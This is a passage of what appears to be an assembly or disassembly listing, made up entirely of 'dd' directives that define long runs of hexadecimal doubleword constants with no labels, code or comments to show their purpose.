0CE781E1Fh, 0D6D81F17h dd 861DC015h, 0D73AF6F9h, 0CF617230h, 5E9C008h, 0E3C34C9h dd 3161324Bh, 622DB44h, 1B33A0BAh, 0F8ED7897h, 542C58A5h dd 0F1F1329Bh, 0C749BEB9h, 1DE3607Eh, 3266E281h, 47379124h dd 49000313h, 61FD1922h, 0D9EF48E9h, 98F1EE89h, 0A168F42h dd 3659017Eh, 9DBB43A2h, 0F364C20Ah, 261AF300h, 82CB2942h dd 0D5E90801h, 0D3D773FCh, 222D4B7h, 17A69E9Dh, 0D8E154E9h dd 11E4588Dh, 6C679AA4h, 0B5625BEFh, 8912DB1Dh, 3179EF83h dd 4F0D8B25h, 1E22A7DAh, 0CADA4FBCh, 1354D421h, 3DDE46F6h dd 0CF04715Dh, 48444B09h, 6B9B1D80h, 895A12DDh, 4C55E3FBh dd 14631666h, 90F7C44Ah, 1542D62Eh, 0A19A0B25h, 18D98310h dd 5897F2B9h, 0B6001356h, 63AC6E86h, 5ED1CC1h, 1301D683h dd 0DCC3241Dh, 9C0292B7h, 25E9FCE2h, 0CBD3C8D3h, 685780B8h dd 0D2485605h, 9C1F5F72h dd 2E7C1C6h, 15D00AE0h, 0AE6D7Bh, 1084CA25h, 5F275B57h dd 0D4B66A21h, 1F0F89D8h, 0AAA1D373h, 1A8AEC12h, 0B6526601h dd 0D9F7205Fh, 5051E05Ah, 889EB401h, 0E0A6E9E1h, 4E4A2B1h dd 0F1643045h, 806CBFC8h, 1E317EBFh, 0D26687Ch, 3F8D133Ah dd 0C12C1EDBh, 0DDECEEA2h, 0D59346ACh, 4998E905h, 142E5866h dd 0E9162CAAh, 5A747110h, 0DA87A9C4h, 0C9CFCE27h, 809C5170h dd 19684696h, 0D2E4DAF7h, 6BEA8103h, 0B05D5C4Ah, 0A352F2h dd 0D031AC02h, 5E8C15Ah, 5834404Ch, 775BC6A9h, 0D480054h dd 691E6FB5h, 9402F005h, 0C101AD72h, 2DDE5A58h, 9E6850BCh dd 8F991A1Ch, 0DAA65496h, 3F11CA4Fh, 9D045BE9h, 33ACC121h dd 8C053AD4h, 823E710Ch, 0AFE35D48h, 6C4817A2h, 354BCC68h dd 0E913488Fh, 21A24294h, 0DB411C5Fh, 1EF729Ch, 8A947AEFh dd 0BF7201D8h, 0EA68E77Eh, 6677C84Eh, 68F1F705h, 0C1B314A2h dd 3F270858h, 8E60D5ABh, 510090BAh, 1EB97CC9h, 9A8C6B21h dd 1C6D07AFh, 75D1014Bh, 0B805D053h, 0D602AD9Eh, 59C8298Ah dd 8C87D831h, 4DA78181h, 831EDB8h, 0DC23D9h, 4A0B850h dd 0BF6FC442h, 0A38BC25Ch, 78E09B40h, 0E91EA209h, 515A2BE7h dd 44E2E920h, 374105F8h, 0F6E9CC86h, 5D0136B6h, 840FC009h dd 8B8957A7h, 0EE596D4Eh, 0E0531493h, 99209E3h, 0F5444AACh dd 0B4FDE98h, 2C34A730h, 48D985Dh, 2014FEE7h, 0AF6EC073h dd 5760B83Fh, 0D60427D2h, 8824C0D9h, 0E92DCB21h, 446E1327h dd 57D80E6Dh, 4BFF7E56h, 0C84605C2h, 6CD18E6Bh, 0D0681325h dd 2985B314h, 8F08B8FBh, 337A8943h, 66E15E10h, 207C3Bh dd 6D7D86CDh, 0B4D8E93Dh, 9E2277Dh, 72656460h, 21E412Eh dd 5A30EE09h, 0BE3452B1h, 0D06D335h, 2E9D4049h, 0EC9B0645h dd 4AA03488h, 2EC66165h, 5A44150Bh, 6DD10EF8h, 0A1DBED2Dh dd 0D3F1F029h, 0DFCC177Ah, 0F7311269h, 0F11DE421h, 0C92E406Ah dd 9078F12h, 52EDFD40h, 6E078375h, 0B42E3C2Dh, 0C92F9472h dd 546FE578h, 913A809Ch, 7528E73Ch, 0D408356h, 0CDC2A05Dh dd 3F2976AFh, 0BEAF4514h, 0CFED5390h, 65EE6B04h, 29C2F501h dd 0BFCCC89Fh, 96031E9Dh, 4E74892Fh, 2B4E54Ch, 21F04E9h dd 18FAA3CCh, 0C500B5Fh, 8B724FFFh, 0CAFDCE98h, 40C088Dh dd 52DA9314h, 3BF08020h, 41B8D689h, 1436C8DAh, 0F753FDA9h dd 5937E0FDh, 90F6EB9h, 62108BC2h, 594E4C2Eh, 385C17B6h dd 0EDF805A7h, 62186848h, 0B5515303h, 280601C1h, 42E9B8B7h dd 0BE9BA2E5h, 3BFD22h, 0F5B91FC5h, 5DEA2913h, 5A653E98h dd 17E22ECCh, 742C2C78h, 0DC68C1F7h, 8B357D01h, 0D9D7356h dd 20E9520Eh, 65418A1Ch, 0CC40B0A7h, 5A931E5Bh, 89E45916h dd 12240BDh, 6884409Ch, 79E612D2h, 670EA548h, 0A7BD7269h dd 0F436D248h, 4391A095h, 923EA959h, 0FB0127B8h, 1F9361h dd 79EEC15Eh, 0B7AB7606h, 5A63C11Ah, 0B7544FDAh, 8BDD6727h dd 0BC78EFE9h, 28F6412h, 0E2B46A0Bh, 6D99D9F6h, 8EA815A0h dd 34FF10F1h, 90CE810h, 913168ADh, 0A075D62Eh, 0CBECD9E5h dd 87D13AF7h, 0C4064A7Dh, 79AA937h, 1E683386h, 5B5983AEh dd 1CFDB850h, 58211F3Bh, 327D8B40h, 710A03B0h, 0B6848650h dd 46808B9Dh, 0D3F7149Ch, 5B88D253h, 3B05894h, 652F470Ah dd 6DC54868h, 0AD208751h, 98C260C4h, 565CB2BBh, 0F3810D00h dd 59945A26h, 5BDD2589h, 2891110Ah, 0A8AA9645h, 5E6E4050h dd 2FBF26ECh, 72FE8480h, 451BBD1h, 0E0C50B68h, 5BBD42DEh dd 6FF4C330h, 6CB2773Eh, 50986816h, 0E9BA4737h, 8742714Ah dd 0F3880133h, 125EC25Ah, 7362A6A0h, 605E99h, 0B835DA2Dh dd 0F8011A0Ah, 8D2C0705h, 2DD111Eh, 0E9ACC065h, 9BF66B56h dd 5D207C70h, 0D1AD58B3h, 6A2B202Ch, 5365138Ah, 4209B170h dd 0F3DC2985h, 5A195862h, 4B386934h, 499EA108h, 1BCAAB48h dd 6AF43B13h, 7F8E9B1Dh, 5FE9C4FEh, 10B59A9h, 39F85EF1h dd 10E73159h, 27EE3BCh, 0D7C381F3h, 0E061804Ch, 0A28F5592h dd 0F38A13F2h, 48296EDCh, 781ECBC3h, 44489940h, 164AC0C6h dd 0B1106EFDh, 515A1808h, 0AA5F6BF2h, 0E5F441AAh, 0EEC3CA42h dd 4615206Fh, 0C8C63125h, 95535EB4h, 5A726630h, 70148D48h dd 29EC15B2h, 5C7EC558h, 0F5B92659h, 3097EE60h, 6E084019h dd 82172728h, 0B4A720h, 3118E8C1h, 5A3768C8h, 0ED1365BBh dd 9F5F0CF0h, 0DF084803h, 0BF051002h, 632FC007h, 0D818E25Dh dd 0E88807DEh, 2FC8FE59h, 0E5BE04E7h, 814CACB1h, 0D9A3A984h dd 806DC1ECh, 60EEEF29h, 0EE8A2E4Bh, 0EB004B51h, 487FC0h dd 0F4B5BB50h, 0F329B48Dh, 0E3046B98h, 20E1E905h, 4BC4B0Ah dd 0C1A40B32h, 7B59F5Bh, 59525469h, 742D6CBDh, 1905D105h dd 0D840133h, 0BF210A0h, 563C78D8h, 15D1152Ah, 29028F94h dd 0C2895DE8h, 85CC10C1h, 2C67E9FDh, 40D8B2D8h, 0A8FC57C1h dd 4B5E5640h, 0D0E78429h, 0F4EC2FCh, 892D5109h, 0E28E91D0h dd 44FFC014h, 9B78B22h, 81F0837h, 479E5F14h, 0E7C1036Dh dd 78E6E907h, 9005EA7Fh, 19471304h, 0DE750B8Fh, 961BED27h dd 69070C0Dh, 14B3815h, 8AB85EF5h, 6EF02DB2h, 70818881h dd 0F9395AC5h, 7C37FE3Bh, 62B26CCEh, 98A8FCB1h, 0D7F74323h dd 910882BEh, 0CE290C4Ch, 3C00EC76h, 5559603Eh, 90465F68h dd 0FE92C17h, 209CA86Eh, 699832A3h, 131C1A20h, 1C881FB3h dd 8C6D33Ch, 81002998h, 8D1A58E6h, 0CCEEC27h, 395C2D45h dd 0B02856Ch, 0B7E919C0h, 4CACFAFEh, 7C4C66E6h, 16F4DECAh dd 93EF2F7h, 2F2DB850h, 3D1DCDD9h, 0A533276Bh, 0D168D4B3h dd 4B0E18Eh, 22BFEE01h, 2A2120F3h, 0BFA6F721h, 0E5C10604h dd 6500603h, 9714D3F3h, 2FA10FA4h, 49AB44FAh, 86C45B5Eh dd 0A716BC17h, 0F4C6ADC2h, 0FD59E4C6h, 90E2923Eh, 598CE9CEh dd 39CDD6FDh, 133BFB5Ah, 0E910CC12h, 2E2F0332h, 5DDCC166h dd 0E8D88D2Ah, 6D7E77BEh, 2BA6B8A0h, 0E789BE94h, 27896753h dd 0C319911Ah, 124139FEh, 0C4E611E4h, 0B310681Bh, 415EC7FAh dd 9EA34ABEh, 94B896D6h, 0CF09F601h, 57B1681Bh, 52029366h dd 154590Eh, 74762841h, 0E11D8136h, 0D0E7222h, 470FD7D1h dd 52074BC1h, 0BDF1045Ah, 85C2D7ECh, 232BC6Ah, 5E7851D1h dd 0A56E795Dh, 88647618h, 0CB221690h, 76C102AFh, 131F410h dd 8205EF4h, 7BF60CC1h, 288258B9h, 57CE44EBh, 0E4271664h dd 0B4AD4E43h, 0BDE62772h, 5AE1B9BFh, 353B185Dh, 0E916712Eh dd 3046CAF4h, 0C44B5849h, 96146810h, 29E0D14Ah, 91AA5C1h dd 5674A916h, 21C59CCh, 0FE6A58B3h, 0C5280314h, 0C1E58058h dd 304EF598h, 759EA2Dh, 3090F56h, 5BC9AD2Ah, 8DEC3432h dd 92407640h, 705B4D0Bh, 0C6BA05A7h, 0D805507Ch, 829014EDh dd 204ADAA1h, 830440E3h, 69E9FAAFh, 9BB6BF94h, 0F2D6C74Eh dd 6259D343h, 0F7927620h, 5B64CA04h, 6BF00175h, 4BF4BE9h dd 0C1C5804Eh, 1E721D8h, 782CDA30h, 0F733CD4Fh, 0E9890605h dd 0FE41D14h, 0ED2400D2h, 70C9813Dh, 6624376Ah, 11021349h dd 84603A5Dh, 579706C2h, 4ED57554h, 4CC3D10Eh, 7F780B0Ch dd 15AE4F64h, 0E24A045Ch, 0DCD7D4ABh, 2B28EAE4h, 5531110Fh dd 0F307914Ch, 1E6A7550h, 7ADACBC3h, 370099D7h, 76BF7ED7h dd 9ADF012Dh, 0CC2A5C5Bh, 7CF3C76Bh, 72E9F061h, 2010BDB3h dd 4F12ADEEh, 9B1D5643h dd 0C14E936Fh, 226D6DE8h, 0EC2037D4h, 0AE690AEAh, 15A8DB0Ah dd 944F16EAh, 1606F246h, 0ACB3ADF0h, 5F545709h, 78291849h dd 3EA15726h, 0F94C9752h, 0D15B7CF6h, 0A7D5184Bh, 5209A01Ah dd 0FA7B644Bh, 7B19AA9h, 28AEB753h, 0F054A5F8h, 43505BFBh dd 7E04E6B8h, 0DD896E4Dh, 0FD8642E9h, 0F602DFB4h, 38A0092Ch dd 4CD34046h, 1A4E0020h, 3239072Dh, 0D000F77Ah, 944A750Dh dd 4B8EE968h, 21D8331Bh, 0EBAC7734h, 4B6ABA0h, 0E9D6F631h dd 8A9AD477h, 0ED5726C6h, 5C5FF9C2h, 0B68454Ah, 0A162580Dh dd 0E9092A5Eh, 4CB0706Fh, 51B01759h, 0EBE4C588h, 0E74488FFh dd 5CE9040Ch, 29D0916Fh, 359EE0CAh, 0FF9211D9h, 0ED2A53F0h dd 76B546F4h, 4F939E85h, 3BA5C84Bh, 92ABD754h, 3CA93395h dd 20CEA40Ch, 657E1517h, 0C3686A02h, 60AF746Ch, 276925FEh dd 9EEF3129h, 6609400Bh, 938B74CCh, 743AC7Ch, 0F65265D0h dd 6795AAE9h, 60680572h, 55264128h, 813D96E9h, 215A5C1Dh dd 0F2EF5838h, 0A2856BC7h, 27A64D02h, 1229D8E4h, 0BD325220h dd 41264A58h, 1CC0AC37h, 84494B68h, 0C17FC4E9h, 7097E344h dd 0B6A82EABh, 5E73F089h, 0CA58C324h, 8AB4B91Fh, 8B59F47h dd 56181654h, 0DE274E96h, 0D86EC327h, 4CC14FD7h, 739EEFh dd 0DDCA4D49h, 0B8E9FE29h, 0BF00A192h, 4B237EC4h, 9042F781h dd 215B24C2h, 261B098Fh, 92BC2DD1h, 8BE9DEC9h, 12205D4Bh dd 8292A2F3h, 86D36E9h, 0CFBD0BC3h, 68535E18h, 44564A25h dd 2683455Dh, 7FE98566h, 315BCE90h, 895912CAh, 0E14605D1h dd 0CC4096Bh, 41F74C00h, 18C134B0h, 356A4882h, 0FF08DC30h dd 6285C0CCh, 497CDA4Eh, 2CDE6801h, 7AB0D64Ch, 67D032BDh dd 506BA477h, 4E6B2ED8h, 0ED816D00h, 7027AAAh, 0C0EC34Dh dd 0D0C7DE01h, 9A58B0CDh, 1427448h, 7BFD0DB3h, 43FCE3C1h dd 16A15AE9h, 0BA7CD1E9h, 0F2A755CDh, 928388E6h, 854C095Eh dd 295CB3C1h, 64304B48h, 0AA607A68h, 0B551CE1Eh, 885A7D04h dd 0EC4C06C5h, 195E96BAh, 0B448B4D0h, 40AF3350h, 0C70781D0h dd 160C622Ah, 8CF11FB4h, 7A56928h, 1407F107h, 0CECFC109h dd 1C256FC4h, 0A310ECACh, 985D2F02h, 9BF0F13h, 32F268C8h dd 0E48C3CF9h, 13D943AAh, 0ECB015Bh, 5FC1C35Fh, 30516E43h dd 0B4C1757h, 79B3C42Ah, 2FC065B0h, 0EEE004E8h, 0EB5E809Dh dd 0B1013A83h, 0C3E4C2CBh, 0DD882CC6h, 445E3B73h, 0AC530689h dd 6559F2A7h, 45B1A4BFh, 357AD0D1h, 28F8D45Dh, 0E54B6DB0h dd 59E92374h, 7A43814Eh, 0C9FD68BBh, 5EB91950h, 90A889DAh dd 0C4ED6278h, 0C5932CA7h, 5FBF4BB0h, 4BEB8E90h, 6D862B02h dd 0D1059668h, 566980D7h, 3DE90F07h, 5D1E84B5h, 2AD309C0h dd 0C77600Dh, 18BE230Eh, 0FCA2297Ch, 83F080Ah, 1830E11Eh dd 50931C6Bh, 8050E92Ah, 1EB75854h, 26679416h, 71300093h dd 0D1BE3195h, 0CE6A8E12h, 25E310C2h, 17CEE85Fh, 5D8AD031h dd 1AE95304h, 2B3EC9F0h, 0F529EFD0h, 13C5E65Eh, 4701E957h dd 74D8B74Fh, 0FD5AF181h, 0C6D870D7h, 0FA571695h, 9F459A3Ch dd 0E1CC0B84h, 79508D66h, 39289DF2h, 3BF921C9h, 31A7E8C7h dd 223950E7h, 1E736B5h, 0E05AF520h, 0CFCB25B2h, 6DFD9BBh dd 33335BDDh, 800D9B4Eh, 0DAE1D821h, 29583328h, 9A6A717Fh dd 95709C20h, 780425Ah, 5740CB0Dh, 0C536694Ah, 71584EECh dd 6416E95Dh, 3802B5BAh, 2869F580h, 0C2B1D6E8h, 68013FE3h dd 39884FCFh, 4018193Ch, 5489Ch, 7D8D15BEh, 28D84C35h dd 0C75C5CB0h, 0B97C2847h, 5D685F4Bh, 0DDC0800Ch, 44FA1083h dd 39C655D0h, 505C8C2Dh, 7B5E585Bh, 9D4C7F04h, 5AB0C219h dd 54F48802h, 950F9279h, 64030470h, 7FBA99BCh, 54C2C134h dd 5C53E833h, 53C5BD2h, 0BDA89E9Ah, 0C9AF84C7h, 5C6523AAh dd 14CA67CAh, 937D805Dh, 7DB15166h, 48F225AEh, 0D32FF3D2h dd 9AA9E55Dh, 0E71A636Dh, 20A71E57h, 32B5F226h, 8B88627Dh dd 0A2AA448Bh, 887DFCA5h, 4127286Bh, 61CE52CBh, 9148F37Eh dd 27AABE0Ah, 685BDE30h, 66A6854Eh, 39627627h, 30062AC1h dd 0B17C507h, 1E1E333Ah, 0C8A8BCCh, 515A12C2h, 0FAEA0FDBh dd 3C08EACAh, 0FDDFA3CDh, 0E9B48C5Eh, 0D8DCCC2Ah, 2C385A3Ch dd 0BE810D94h, 65A26D44h, 0ECF11431h, 88265AD2h, 0C95EA7CBh dd 6980F757h, 195943D7h, 0A67C28F7h, 0CAC0186h, 68E905C2h dd 4E7485D4h, 2081EE81h, 48342441h, 0C9EA4F83h, 3F413E87h dd 293F1748h, 0A372143Bh, 1F93716h, 0CD0D27BCh, 3E2F014h dd 1F4C0EE8h, 4BDE485Fh, 0F2210922h, 0A76F20C9h, 0A2F80125h dd 908667Ch, 5B021A02h, 145BC2EEh, 0ECC559D0h, 6CB10B16h dd 4688D501h, 0AC0C3008h, 48525021h, 3A1113F4h, 0C6DA5FB6h dd 6E2E0ED4h, 0C09C153Ch, 6E000F8h, 336ABD55h, 0DC6CFD90h dd 0CB1FC94Ch, 0C184676Eh, 3B3712DAh, 0B44E5A3h, 0C04FB10Ah dd 0CF4B6A0Fh, 0F8D240A9h, 0C3510497h, 77381C80h, 0C0B60A7h dd 1016012Ah, 86685301h, 5B052906h, 784C5578h, 849D853Ch dd 0EACB807Ah, 0E94B1436h, 12582A27h, 0C90EF67Fh, 2AFEED07h dd 0E95F04ECh, 3A09E172h, 1019CB62h, 8180A6A1h, 7FBC09F5h dd 0DFD040D5h, 1514C0A0h, 0B61BDD28h, 2B448302h, 88CD2962h dd 591808CCh, 2CD7EA3Ch, 4AEA1CBh, 80DF015Dh, 0C426DB9Eh dd 103D445Ch, 0F72C2B28h, 0AD25085Dh, 73C5681Ch, 26822E49h dd 274909A7h, 0F67D6E59h, 55E5033Eh, 0FC954E53h, 0DB9000h dd 68630FF1h, 0B41740E9h, 0D592BBFCh, 8853344Dh, 134A983Bh dd 0D33FBFF7h, 8A0E9354h, 48BCA8C8h, 5D0BC0A6h, 51413B68h dd 7AF8958h, 0BF276AB0h, 0C8506680h, 5E046182h, 1EC5DA01h dd 95EAFC26h, 7CE5FBA9h, 0E38B88h, 0B23A7FBFh, 4984F5Fh dd 946F0101h, 635CE941h, 0E22EAC22h, 41559716h, 485418F4h dd 2888306Dh, 4C506880h, 0B1C0805Ch, 36C680F0h, 28DACEE0h dd 0C26FC083h, 6AE50132h, 0DB1B662Dh, 48C6640Fh, 7B90E0E8h dd 90B0AE20h, 0B6B15885h, 0B450EC63h, 85E104DFh, 0E19AA8EFh dd 4879D87Fh, 0B85753E2h, 32E95109h, 0AD36CA7Eh, 0B97D66E0h dd 6205281h, 176F00C3h, 9041BA69h, 0E91696E8h, 3C29266Eh dd 2A77EDh, 2D43053Ah, 0D7927287h, 55FEC2E4h, 0BD6180B7h dd 7AE14EA2h, 0B97DE532h, 0B28DC702h, 0F56ABFE4h, 0D3B9945Fh dd 0EB82040Dh, 840F01A4h, 3D6CD040h, 0EDCE959Fh, 415DDC40h dd 908A3BC0h, 5F90915Ah, 16302661h, 11954155h, 4C1FDC01h dd 19610EF4h, 0BB2C3D54h, 0C5794A68h, 85A9B220h, 59A85FFDh dd 1613A8D2h, 0ECC4BEE9h, 0E1A4CFF8h, 79F77644h, 31E7D762h dd 4CA071F0h, 7A16FCAAh, 32013C79h, 52681854h, 4E0B0C80h dd 0C829AA9Ch, 66B10799h, 0B802F555h, 8D8FE0F1h, 109875Bh dd 80B8869h, 0E9D12901h, 0A950C3C2h, 3056E5E7h, 0D77E2FBBh dd 50489B27h, 65AC109Dh, 2045B707h, 4C0395FAh, 649C56B3h dd 123D52B3h, 0C8F1C168h, 91F98715h, 0C97AB2F4h, 3BDEF0FAh dd 0D692EBD1h, 0BD87D221h, 626AD76h, 0D44B0709h, 0C8E2C778h dd 6A62B128h, 81EC730h, 0A3D92780h, 3B2486A0h, 4A056A61h dd 0F53DE9h, 2D4D9AD8h, 0BBE32E01h, 3056F195h, 5D8118C8h dd 0A9ABC0D8h, 0A4D0F19Dh, 0A05E246h, 4013934h, 72D14CFh dd 40D2DF56h, 5D82995h, 682707D4h, 5E8C4030h, 33592806h dd 4A9722B2h, 74576858h dd 9A151095h, 2421F975h, 5F254AFEh, 93E94B82h, 0AD1D71F0h dd 38D76855h, 0B4CDE861h, 12C246Ah, 0B829CEFAh, 0E9F1E77Ah dd 0EC903AE3h, 658395F2h, 82D57653h, 674EA709h, 25CFBE20h dd 0E8C0DDF7h, 7031122Ch, 0C5293021h, 3596093Ch, 15E90411h dd 1D2D00EDh, 2403501Eh, 0DA9C729h, 0E0814754h, 0CC1F5B0Fh dd 0FBD75927h, 7C4836B3h, 0D45D0E0Fh, 0D560E9A5h, 13813468h dd 87A6ACFBh, 7179315Ch, 64A86263h, 1AD9557h, 9EE9E821h dd 47CA33EBh, 849B6927h, 0C9133FECh, 0ADB07CFEh, 0F55F7F41h dd 0C397647Bh, 35033005h, 0E25390C3h, 0D10C050Eh, 0C3584222h dd 3217EBC9h, 8C001E44h, 639730C1h, 0ECC20E9h, 0E180F4B6h dd 13C74B6h, 60B6B0F3h, 418E3CC3h, 0B0DE752Fh, 73FD0252h dd 21A3E313h, 0F767C1h, 0DF572668h, 0EE18A19Bh, 4E124CE8h dd 4EDA101h, 0A3DA6408h, 0B33461E8h, 8E708577h, 834D0DEh dd 3B05295Ah, 0E2D18030h, 0C4427268h, 0FB4AB287h, 6283E738h dd 15F3B5AEh, 7D3C9D22h, 67E04812h, 2D241B27h, 0C602610Fh dd 0D5054E18h, 65FE6409h, 49190717h, 98809D48h, 84735DC3h dd 0D358291Fh, 80B3447Eh, 6436EE32h, 51AAF6ABh, 6C804056h dd 22183913h, 310B68BEh, 15B16DEh, 1AAAE6F0h, 0FC46FD82h dd 0A4F15305h, 0D65C0264h, 9BE97886h, 5C93484Bh, 0F1C392F0h dd 4F39489Bh, 6193F380h, 9143543h, 0B1C41C5Fh, 0E6E66568h dd 836097C0h, 772749D4h, 0BD1FB52h, 61B4178h, 3676DDC0h dd 0B2585C2Eh, 0AAA72A18h, 30149520h, 90F67D20h, 54A80F4Fh dd 0E1642E92h, 0C54EA842h, 0F04EE452h, 2AA9131Ch, 11D609D6h dd 0D3A1B734h, 4F3D5C56h, 2A68EF44h, 2767808h, 0E9B1B252h dd 1180D40Ch, 3BAE0F26h, 0C403099Ch, 0E11B1C64h, 8C6A283Eh dd 1A2C2F9Bh, 330B25C1h, 198952C6h, 765E2CEEh, 0B850100Bh dd 286F095Dh, 48005635h, 60DC750Fh, 1902609Fh, 471D487Fh dd 69748B04h, 0DCD3C006h, 51600D29h, 33F80324h, 0D6891F40h dd 0F5CEC15Ah, 2E47DC70h, 914FFC8Ah, 3CAB785h, 0E6C19D64h dd 6A73D42Ch, 20FEB81Ch, 1F5DFDFAh, 117102FDh, 404D7E31h dd 3B5DFA3Bh, 0E50335C6h, 4FAE6B7Dh, 4667F5E0h, 0B4903898h dd 292DF892h, 0D95C6BC6h, 168EEE07h, 0B5E451ACh, 0F561FEF6h dd 0DC6B5A99h, 2040E52Eh, 78CABE5Bh, 9C0CC138h, 509FBCE9h dd 0C0B6ECC3h, 439AB80Dh, 350E502Fh, 0E01C0220h, 0E728982Dh dd 0A30D017Eh, 0E930D205h, 0C197512Bh, 0DC2DD4E0h, 20102C1Fh dd 7EF41852h, 4CEEEEEAh, 748493BAh, 5BA5B226h, 0E9EDBAD4h dd 0CC9F5B7Fh, 700F0EE9h, 0FFBF5BE8h, 7EB2CC09h, 0E6D11CEBh dd 0B0210FCh, 495EA80h, 0C2D316ECh, 1DF5F950h, 8109983Ah dd 4327EF06h, 16487DD0h, 35083EE9h, 892E164Ch, 0BDC30440h dd 0AD13854Dh, 0A9E1EF9Ch, 152555BFh, 0B52F7F60h, 0F3007F46h dd 45227A26h, 368ED81h, 0E91CC1CEh, 0EB5CFD4Dh, 5D8607A4h dd 294F51h, 8122E27Ch, 5E6D9809h, 5FF701FBh, 810E2AE9h dd 3EB9C6CBh, 0DDED2DA7h, 989B55D6h, 0C70150CBh, 7C48B905h dd 53DA5F39h, 0ADE5A72Fh, 0E2B06AAFh, 87B8551Eh, 0E915DD01h dd 421746ADh, 61645E91h, 68539220h, 0CC055FBDh, 6F27E9C5h dd 0DFCF463Ah, 0A12FFE16h, 65EAC848h, 385A0204h, 0E283DAF7h dd 7C50C01Dh, 0CBD75F01h, 7803251Ah, 0D4E595C1h, 162371A5h dd 7D95265Ch, 1B31E913h, 810013CAh, 305FB9CDh, 0BE005632h dd 477F58A2h, 0B55EF509h, 0FE54B709h, 0E9030C30h, 8A4C5B02h dd 9414D8FFh, 0EE012FDFh, 0BF169889h, 786BE926h, 0F6F51EB0h dd 0D2A6730h, 5EE6525Dh, 2F582840h, 89A2B612h, 15A8B19h dd 2A0E7623h, 0BC73DD77h, 9CD558D3h, 0BDE4A227h, 0E3B9009Dh dd 6A605F15h, 9A25DC8Ah, 270CD118h, 3FDE102h, 0E46036AAh dd 212D71F2h, 52C7206h, 90D23DF1h, 0EE96011Fh, 0F874342Ah dd 6595B823h, 2FC224EEh, 9020C566h, 585B0554h, 0ACA2F680h dd 0D8281F1Dh, 45B0B8DCh, 13712DE5h, 0E54D2B83h, 1EDB5171h dd 31553066h, 232EC564h, 9ED49EFh, 6C5CABE2h, 0B44BC08h dd 11F1EB01h, 8E3C185h, 0B8EC21C0h, 0F1464E23h, 0C1E06B66h dd 1256783Dh, 8081E9C8h, 2FD5BEE7h, 0D355B82Eh, 0F774103h dd 88F6F973h, 0B9E2A8ECh, 0D169A52Ah, 5DF78D6Bh, 5E30BE58h dd 4C4898F5h, 62AFF69h, 3951F4B5h, 55941F23h, 0ED4191FFh dd 2F58ECECh, 0CC622EE0h, 4595FC1h, 70663380h, 8F2B4D6Fh dd 2794B64Bh, 582183E8h, 501DBA55h, 0E1081449h, 0A448B866h dd 91C10E73h, 0F8E47604h, 6325AAEEh, 1A6C0481h, 0D6C82968h dd 0F6FBCAADh, 102EA39h, 49D82B6Dh, 72E6F446h, 0DECE6676h dd 8B22ABF6h, 0D952E2BCh, 15A509F7h, 0CC246A52h, 5CCB9A42h dd 255098DDh, 584BC301h, 77B64164h, 0BCE8A913h, 169CB682h dd 0ECC679D1h, 0B2211B9h, 5075EF07h, 0DF87B0ECh, 8D8D3F7h dd 130BF018h, 202D4D5Bh, 2F9CE9A7h, 0E23ABA80h, 81321EDFh dd 9B28CCCAh, 7D9165CEh, 53BFE200h, 984A368Ch, 5B670264h dd 0D08962CCh, 5607E76h, 0E0F4266Dh, 0E8C10048h, 35D0F708h dd 0CE35F5B3h, 8553ACDBh, 0A0530895h, 5F2BCFDh, 26B0174h dd 0E102CAC1h, 0FB812B2Dh, 0A33076C3h, 0B2C23E38h, 4E1578C0h dd 95172550h, 0F4E5FC4Bh, 0CD4B67E2h, 0F7746EDDh, 921608FDh dd 0C0F334CFh, 41490178h, 9652623Fh, 0FAD02226h, 2E2D2805h dd 1337E180h, 0B11ABC24h, 5688EF83h, 0F3EBC13h, 43842C37h dd 0B5C828C2h, 0E906FF1Eh, 90F33FF1h, 6401032Fh, 2EBC127h dd 7AF8E3CBh, 88A0609Ch, 0CA2FA936h, 76F98BFBh, 0BD9A580Bh dd 0DD3BBA9Fh, 795B4AA3h, 0CF381E5h, 27D8069Bh, 5AAA6AAh dd 0B2FA02E8h, 4C2914Ch, 0B827E884h, 0B1A17827h, 0D0397008h dd 0BA057892h, 32761CE3h, 62989700h, 2D210553h, 0FD405FFAh dd 5A814F77h, 0B784AE7h, 73115BF9h, 4AB828C6h, 39527128h dd 84FDA88h, 5127F860h, 97211626h, 5705F3A6h, 0F8045709h dd 0F3830451h, 194D1588h, 166CCB6Dh, 36263EE2h, 7234953Fh dd 66541EC9h, 8BCCB5B4h, 6BD18F82h, 0E5AF5A0h, 0A2DDD8F2h dd 0F9A5120h, 0C2B252ACh, 99E0CF29h, 2F16DDBDh, 3B1F5A68h dd 0EB00C867h, 852A1F06h, 523C1313h, 0B4D01677h, 0D64A011Fh dd 0F9751891h, 0B4B8402Eh, 4E4DE117h, 85EEC12Ch, 1D7E8F39h dd 8CB498F9h, 0E3C24FAh, 0BCA22F58h, 0A27F37E9h, 0EC02C374h dd 95FBFCB5h, 5753F683h, 5A4B8204h, 24C03F94h, 90CF763Bh dd 0F1EA0248h, 52FEB8F6h, 0FC063170h, 5F5E9E04h, 5A07816Ch dd 5833202Eh, 37541468h, 0D2A9EFA2h, 30EF7753h, 5FF1125Bh dd 8C68589Fh, 4BDD063Ch, 88D1F713h, 0FD77300Bh, 0E64F962Ch dd 73E00AC5h, 0EE459F57h, 82D18569h, 1F77BFA1h, 0F90C2Dh dd 0B9515760h, 0CC0158A9h, 6E1C109h, 11918A00h, 0D13D66FFh dd 0C6A0F2EFh, 652834E7h, 0C7059269h, 0FDF6123Ch, 4382BAD5h dd 81FA5EA4h, 0D66693E1h, 0B67B7043h, 0BEE60802h, 44FEFAE9h dd 0FD0722E0h, 6300D85Fh, 5F472D35h, 0A5E0B54Dh, 0BD05DE05h dd 0C329F35Ah, 0C005ECECh, 81394628h, 0F8328C90h, 5225E9D6h dd 0EF1CD954h, 0E9C51FE4h, 798E3E2Ch, 5443D58h, 0EC8FDAF4h dd 0EB83E8D0h, 3018BF04h, 0A9606EE9h, 2988E53Bh, 84144A34h dd 0C93980CDh, 8BF5A311h, 0EE3B12CEh, 60B4F612h, 0A0CE4198h dd 0CA988A5Fh, 6063BA0Eh dd 0C101C9B1h, 62D6E99Ah, 0C14C85B4h, 0DFF15FEAh, 830253F1h dd 68265796h, 31BECBF8h, 0BB75D86h, 0C5747BF1h, 0B5510359h dd 0D0E5806Ah, 22522CE1h, 3D3C26EEh, 14E3042h, 3A5F3D68h dd 2ACED48Dh, 4BEC07C7h, 0A7895BDFh, 99B49758h, 206AD82Dh dd 29A1E6E4h, 9B06168h, 776C4024h, 30904B59h, 0E2611703h dd 0D4CB211Ah, 2EDA18E8h, 16CF817Eh, 88BD5852h, 0D610BAE5h dd 0BD40B4F8h, 6368E1F7h, 56499550h, 43A707E7h, 0BF1359A9h dd 